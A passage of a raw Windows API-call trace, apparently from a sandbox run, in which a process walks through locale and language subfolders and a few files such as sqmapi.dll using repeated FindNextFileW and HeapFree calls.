ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0238.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.136] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0238.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.138] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0238.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.459] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0238.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.463] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0238.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.472] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0238.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.473] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0238.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.473] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0238.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.474] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0238.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.474] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0238.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.474] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0238.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.475] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0238.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.475] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0238.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.475] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0238.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.476] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0238.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.476] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0238.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.476] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0238.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.476] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0238.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.477] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0238.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.477] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0238.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.477] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0238.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.478] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0238.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.478] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0238.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.478] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0238.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0238.478] FindNextFileW (in: hFindFile=0x6cf8c8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0238.478] FindClose (in: hFindFile=0x6cf8c8 | out: hFindFile=0x6cf8c8) returned 1 [0238.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.479] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0238.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.482] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0238.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.485] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0238.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.787] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0238.829] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.829] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0238.860] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.860] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0238.867] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.867] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0238.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.879] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0238.888] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.888] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0238.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.897] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0238.902] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0238.902] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0240.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.045] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0240.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.090] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0240.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.096] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0240.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0240.196] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, 